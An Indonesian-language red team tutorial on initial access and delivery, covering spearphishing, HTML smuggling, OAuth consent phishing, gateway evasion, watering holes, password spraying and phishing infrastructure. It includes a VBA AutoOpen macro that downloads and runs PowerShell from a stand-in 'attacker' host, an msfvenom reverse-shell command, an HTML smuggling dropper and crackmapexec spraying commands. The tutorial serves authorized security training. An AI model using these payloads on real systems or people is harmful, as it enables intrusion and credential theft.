Belajar Red Team Operator - Initial Access & Delivery

#Pendahuluan

Setelah di episode 2 kita mempelajari operasional red team — ATT&CK framework, emulation planning, dan objectives — pada episode ini kita masuk ke fase pertama serangan: initial access & delivery. Ini adalah fase paling kritis karena tanpa foothold, seluruh engagement terhenti.

Initial access dalam red team berbeda dari pentesting: kalian tidak sekadar "mengirim exploit" — kalian menguji apakah email gateway, endpoint protection, dan user awareness bisa mendeteksi dan mencegah serangan.

#Spearphishing

#Planning

text

Spearphishing Workflow
========================
1. OSINT target → nama, email, jabatan, interests
2. Pretext creation → cerita yang convincing
3. Payload delivery → attachment atau link
4. Evasion → bypass email gateway & sandbox
5. Execution → user mengklik/open payload

#Advanced Phishing Techniques

#Macro-Based (Office Document)

bash

# Generate VBA macro
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker -f vba
 
# Atau custom macro
cat << 'EOF' > macro.vba
Sub AutoOpen()
    Dim exec As Object
    Set exec = CreateObject("WScript.Shell")
    exec.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
End Sub
EOF

#HTML Smuggling

html

<!-- HTML file yang di-attach ke email -->
<html>
<body>
<script>
// Generate file dari JavaScript
const file = new Blob(['payload'], {type: 'application/octet-stream'});
const a = document.createElement('a');
a.href = URL.createObjectURL(file);
a.download = 'document.exe';
a.click();
</script>
</body>
</html>

#OAuth Phishing

text

# OAuth consent phishing
1. Buat malicious OAuth app
2. Kirim link "Login with Microsoft/Google"
3. User consent → attacker dapat akses ke email/files
 
# Tool: o365-phish atau custom script

#Evasion Techniques

Technique	Target	Keterangan
Password-protected attachment	Email gateway	ZIP/DOCX dengan password di body
Image-based payload	Sandbox	Payload di-embed di image
OneDrive/SharePoint link	URL scanning	Redirect ke malicious file
Legitimate service abuse	Reputation	Google Docs, Dropbox links

#Drive-Compromise

#Watering Hole

text

Watering Hole Attack
======================
1. Identify websites frequently visited by target
2. Compromise website (XSS, SQLi, or server compromise)
3. Inject exploit kit atau payload
4. User visits → compromise

#Malvertising

text

Malvertising Flow
===================
1. Buat iklan dengan payload encoded
2. Target berdasarkan geo/IP/company
3. User klik iklan → redirect ke exploit kit
4. Exploit kit → fingerprint → deliver payload

#Valid Accounts

#Credential Stuffing

bash

# Gunakan credential list dari breach
# Tool: Hydra, CrackMapExec
 
# Credential stuffing dengan username:password pair
crackmapexec smb target.com -u users.txt -p passwords.txt --continue-on-success
 
# Password spraying (gunakan 1-2 password untuk semua user)
crackmapexec smb target.com -u users.txt -p 'Company2026!'

#Default Credentials

text

Default Credentials Sources
=============================
- Application default (admin/admin)
- Service accounts (sql_svc, backup_svc)
- Manufacturer defaults (Cisco, APC, printers)
- Leftover credentials from setup

#Delivery Infrastructure

#Phishing Infrastructure Setup

bash

# 1. Register phishing domain
# (gunakan domain yang mirip dengan target)
 
# 2. Setup email sending
# Gunakan AWS SES atau SMTP relay
 
# 3. Landing page
# Clone target login page (GoPhish, Evilginx)
 
# 4. Payload hosting
# Gunakan VPS terpisah untuk hosting payload
 
# 5. C2 listener
# Setup reverse shell listener

#OPSEC for Delivery

text

Delivery OPSEC
================
- Infrastructure terpisah dari engagement infra
- Email sending dari IP yang bersih (tidak ter-blacklist)
- Domain baru (tidak ada reputation)
- Rate limiting untuk menghindari detection
- Cleanup setelah engagement

Warning

Phishing dalam red team engagement harus memiliki izin yang sangat spesifik. Pastikan RoE mencakup: siapa yang boleh di-target, metode yang diizinkan, dan bagaimana data dikumpulkan/dihancurkan.

#Praktik: Phishing Campaign

bash

# 1. Setup GoPhish
# 2. Buat email template & landing page
# 3. Target list (dari OSINT)
# 4. Launch campaign
# 5. Monitor: open rates, click rates, credential submission
# 6. Document: detection response (ada alert? berapa lama?)

#Penutup

Inti yang harus dibawa pulang:

Spearphishing: OSINT → pretext → payload → evasion → execution.
Drive-by: watering hole, malvertising — compromise visited websites.
Valid accounts: credential stuffing, default credentials.
OPSEC: infrastructure terpisah, rate limiting, cleanup.

Di episode 4 selanjutnya, kita akan mempelajari C2 infrastructure — setup team server, redirectors, dan C2 profiles menggunakan Sliver dan Havoc.